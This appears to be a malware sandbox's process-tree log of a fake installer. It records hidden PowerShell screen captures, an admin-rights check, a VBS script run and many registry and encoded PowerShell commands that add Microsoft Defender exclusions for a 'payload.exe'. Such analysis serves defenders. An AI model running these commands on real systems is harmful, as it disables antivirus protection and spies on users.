    "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1836 --field-trial-handle=1840,i,17754593610156282939,17179511322396488202,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3988
- - C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2096 --field-trial-handle=1840,i,17754593610156282939,17179511322396488202,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4816
- - C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2424 --field-trial-handle=1840,i,17754593610156282939,17179511322396488202,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897140948.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897140948.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5168
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5256
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_2a6a3035.vbs""
    3⤵
    PID:5292
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_2a6a3035.vbs"
      4⤵
      PID:5840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5300
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5308
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5316
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5324
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774" /t REG_DWORD /d 0 /f
      4⤵
      PID:5892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5332
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5340
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      PID:5924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5348
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5356
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:5968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5364
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5372
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5380
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcASgBIAHoAQgB1AHgAVAA5ADEAWQBGAFYANwBrADEAMQBMADQAdQB3AGEARgBOAE8AcwBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAOAA5ADcAMQAyADUANwA3ADQAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwA4ADkANwAxADIANQA3ADcANABcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:5388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcASgBIAHoAQgB1AHgAVAA5ADEAWQBGAFYANwBrADEAMQBMADQAdQB3AGEARgBOAE8AcwBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAOAA5ADcAMQAyADUANwA3ADQAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwA4ADkANwAxADIANQA3ADcANABcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897143681.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:5204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897143681.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe""
    3⤵
    PID:5184
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe"
      4⤵
      PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774""
    3⤵
    PID:5464
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774"
      4⤵
      PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
    3⤵
    PID:5948
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
      4⤵
      PID:6016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe""
    3⤵
    PID:5952
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe"
      4⤵
      PID:5820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897146051.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897146051.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:5716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783897125774\payload.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897146951.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:5500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897146951.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897167883.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:5700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783897167883.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5704

C:\Users\Admin\Downloads\Installer\AutoInstall.exe
"C:\Users\Admin\Downloads\Installer\AutoInstall.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5576
- C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1696
- - C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GJHzBuxT91YFV7k11L4uwaFNOs\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1744 --field-trial-handle=1748,i,15943415224328381782,8116949586592108061,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
